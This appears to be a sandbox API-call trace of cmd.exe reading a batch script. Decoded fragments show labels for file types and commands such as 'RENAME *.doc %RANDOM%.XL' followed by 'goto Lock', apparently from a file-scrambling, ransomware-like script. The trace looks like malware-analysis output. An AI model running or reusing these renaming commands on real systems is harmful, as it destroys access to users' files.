_get_osfhandle (_FileHandle=3) returned 0x74 [0040.297] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x135f [0040.297] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.297] GetFileType (hFile=0x74) returned 0x1 [0040.297] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x135f [0040.297] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.297] SetFilePointer (in: hFile=0x74, lDistanceToMove=4970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x136a [0040.298] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ncx %RANDOM%.XL\r\n") returned 11 [0040.298] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.298] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x136a [0040.298] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.298] GetFileType (hFile=0x74) returned 0x1 [0040.298] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x136a [0040.298] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.298] SetFilePointer (in: hFile=0x74, lDistanceToMove=4972, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x136c [0040.298] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0040.298] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.298] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x136c [0040.298] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.298] GetFileType (hFile=0x74) returned 0x1 [0040.298] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x136c [0040.298] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.298] SetFilePointer (in: hFile=0x74, lDistanceToMove=4978, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1372 [0040.298] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":doc\r\nock\r\n") returned 6 [0040.298] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.298] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1372 [0040.299] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.299] GetFileType (hFile=0x74) returned 0x1 [0040.299] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1372 [0040.299] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.299] SetFilePointer (in: hFile=0x74, lDistanceToMove=4980, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1374 [0040.299] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\noc\r\n") returned 2 [0040.299] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.299] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1374 [0040.299] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.299] GetFileType (hFile=0x74) returned 0x1 [0040.299] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1374 [0040.299] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.299] SetFilePointer (in: hFile=0x74, lDistanceToMove=5006, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x138e [0040.299] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.doc %RANDOM%.XL\r\n\n") returned 26 [0040.299] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.299] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x138e [0040.299] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.299] GetFileType (hFile=0x74) returned 0x1 [0040.300] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x138e [0040.300] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.300] SetFilePointer (in: hFile=0x74, lDistanceToMove=5017, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1399 [0040.300] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nc %RANDOM%.XL\r\n") returned 11 [0040.300] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.300] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1399 [0040.300] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.300] GetFileType (hFile=0x74) returned 0x1 [0040.300] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1399 [0040.300] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.300] SetFilePointer (in: hFile=0x74, lDistanceToMove=5019, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x139b [0040.300] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0040.300] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.300] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x139b [0040.300] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.300] GetFileType (hFile=0x74) returned 0x1 [0040.300] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x139b [0040.301] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.301] SetFilePointer (in: hFile=0x74, lDistanceToMove=5025, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13a1 [0040.301] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp4\r\nock\r\n") returned 6 [0040.301] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.301] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13a1 [0040.301] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.301] GetFileType (hFile=0x74) returned 0x1 [0040.301] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13a1 [0040.301] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.301] SetFilePointer (in: hFile=0x74, lDistanceToMove=5027, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13a3 [0040.301] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np4\r\n") returned 2 [0040.301] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.301] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13a3 [0040.301] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.301] GetFileType (hFile=0x74) returned 0x1 [0040.301] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13a3 [0040.302] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.302] SetFilePointer (in: hFile=0x74, lDistanceToMove=5053, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13bd [0040.302] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.mp4 %RANDOM%.XL\r\n") returned 26 [0040.302] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.302] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13bd [0040.302] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.302] GetFileType (hFile=0x74) returned 0x1 [0040.302] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13bd [0040.302] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.302] SetFilePointer (in: hFile=0x74, lDistanceToMove=5064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13c8 [0040.302] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\n4 %RANDOM%.XL\r\n") returned 11 [0040.302] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.302] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13c8 [0040.302] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.302] GetFileType (hFile=0x74) returned 0x1 [0040.302] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13c8 [0040.302] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.303] SetFilePointer (in: hFile=0x74, lDistanceToMove=5066, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13ca [0040.303] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0040.303] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.303] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ca [0040.303] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.303] GetFileType (hFile=0x74) returned 0x1 [0040.303] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ca [0040.303] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.303] SetFilePointer (in: hFile=0x74, lDistanceToMove=5072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13d0 [0040.303] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp3\r\nock\r\n") returned 6 [0040.303] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.303] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13d0 [0040.303] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.303] GetFileType (hFile=0x74) returned 0x1 [0040.303] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13d0 [0040.303] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.303] SetFilePointer (in: hFile=0x74, lDistanceToMove=5074, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13d2 [0040.303] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np3\r\n") returned 2 [0040.304] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.304] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13d2 [0040.304] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.304] GetFileType (hFile=0x74) returned 0x1 [0040.304] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13d2 [0040.304] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.304] SetFilePointer (in: hFile=0x74, lDistanceToMove=5100, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13ec [0040.304] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.mp3 %RANDOM%.XL\r\n") returned 26 [0040.304] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.304] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ec [0040.304] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.304] GetFileType (hFile=0x74) returned 0x1 [0040.304] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ec [0040.304] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.304] SetFilePointer (in: hFile=0x74, lDistanceToMove=5111, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13f7 [0040.304] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\n3 %RANDOM%.XL\r\n") returned 11 [0040.304] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.304] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13f7 [0040.305] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.305] GetFileType (hFile=0x74) returned 0x1 [0040.305] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13f7 [0040.305] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.305] SetFilePointer (in: hFile=0x74, lDistanceToMove=5113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13f9 [0040.305] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0040.305] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.305] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13f9 [0040.305] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.305] GetFileType (hFile=0x74) returned 0x1 [0040.305] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13f9 [0040.305] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.305] SetFilePointer (in: hFile=0x74, lDistanceToMove=5119, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13ff [0040.305] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":wav\r\nock\r\n") returned 6 [0040.305] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.305] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ff [0040.305] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.305] GetFileType (hFile=0x74) returned 0x1 [0040.305] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ff [0040.306] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.306] SetFilePointer (in: hFile=0x74, lDistanceToMove=5121, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1401 [0040.306] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nav\r\n") returned 2 [0040.306] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.306] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1401 [0040.306] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.306] GetFileType (hFile=0x74) returned 0x1 [0040.306] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1401 [0040.306] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.306] SetFilePointer (in: hFile=0x74, lDistanceToMove=5147, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x141b [0040.306] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.wav %RANDOM%.XL\r\n") returned 26 [0040.306] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.306] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x141b [0040.306] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.306] GetFileType (hFile=0x74) returned 0x1 [0040.306] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x141b [0040.306] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.306] SetFilePointer (in: hFile=0x74, lDistanceToMove=5158, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1426 [0040.307] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nv %RANDOM%.XL\r\n") returned 11 [0040.307] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.307] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1426 [0040.307] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.307] GetFileType (hFile=0x74) returned 0x1 [0040.307] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1426 [0040.307] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.307] SetFilePointer (in: hFile=0x74, lDistanceToMove=5160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1428 [0040.307] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0040.307] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.307] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1428 [0040.307] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.307] GetFileType (hFile=0x74) returned 0x1 [0040.307] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1428 [0040.307] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.307] SetFilePointer (in: hFile=0x74, lDistanceToMove=5166, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x142e [0040.307] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":jpg\r\nock\r\n") returned 6 [0040.307] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.307] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x142e [0040.308] 